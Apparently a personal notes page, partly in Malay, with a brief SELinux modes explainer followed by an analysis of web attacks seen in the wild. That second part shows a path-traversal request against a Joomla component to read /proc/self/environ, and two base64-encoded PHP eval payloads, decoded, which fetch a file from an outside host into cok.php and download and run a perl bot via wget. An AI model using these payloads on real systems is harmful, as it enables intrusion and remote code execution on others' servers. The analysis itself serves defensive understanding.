SELinux

How SELinux Works

Consider these pieces of the SELinux puzzle:

• Subjects
• Objects
• Policy
• Mode

When a subject (such as an application) attempts to access an object (such as a file), the SELinux Security Server (inside the kernel) runs a check against the Policy Database. Depending on the current mode, if the SELinux Security Server grants permission, the subject is given access to the object. If the SELinux Security Server denies permission, a denied message is logged in /var/log/messages.

The Modes

SELinux has three modes (which can be set by the user). These modes will dictate how SELinux acts uponsubject request. The modes are: 

• Enforcing — SELinux policy is enforced and subjects will be denied or granted access to objects based on the SELinux policy rules
• Permissive — SELinux policy is not enforced and does not deny access, although denials are logged
• Disabled — SELinux is completely disabled
• 
  

ref:
http://www.linux.com/learn/docs/ldp/883671-an-introduction-to-selinux

serangan web

index.php?option=com_xxxxx&controller=..//..//..//..//..//..//..//..///proc/self/environ00

ini akan display environtment variable.

USER_AGENT juga akan di paparkan dalam environtment.

payload 1:
eval (base64_decode('ZWNobyAiYzBsaSMiLnBocF91bmFtZSgpLiIjYzBsaSI7IGlmK EBjb3B5KCJodHRwOi8vd3d3LmdvbGZkci5jby5rci9iYnMvaWNvbi9meC50eHQiLCJjb2sucGhwIikpIHsgZWNobyAiU1VDQ0VTUyI7 IH0= '));
 >>
echo "c0li#".php_uname()."#c0li"; if(@copy("http://www.golfdr.co.kr/bbs/icon/fx.txt","cok.php")) { echo "SUCCESS"; }


payload 2:
eval (base64_decode('c3lzdGVtKCdybSAtcmYgL3RtcC94LWJvdDt3Z2V0IC AtTyAvdG1wL3gtYm90O3BlcmwgL3RtcC94LWJvdDtwZXJsIC90bXAveC1ib3Q7cGVybCAvdG1wL3gtYm90O3JtIC1yZiAvdG1wL3gtYm90Jyk7 '));
>>

system('rm -rf /tmp/x-bot;wget  -O /tmp/x-bot;perl /tmp/x-bot;perl /tmp/x-bot;perl /tmp/x-bot;rm -rf /tmp/x-bot');

Tapi pelik sikit utk command wget -O /tmp/x-bot;

Apa yg mamat ni download? parameter O utk destinasi fail yg didownload. Tapi source URLnya tak de lak.

Mungkin ni intermediate attack, tapi run by hackers wannabe kot :)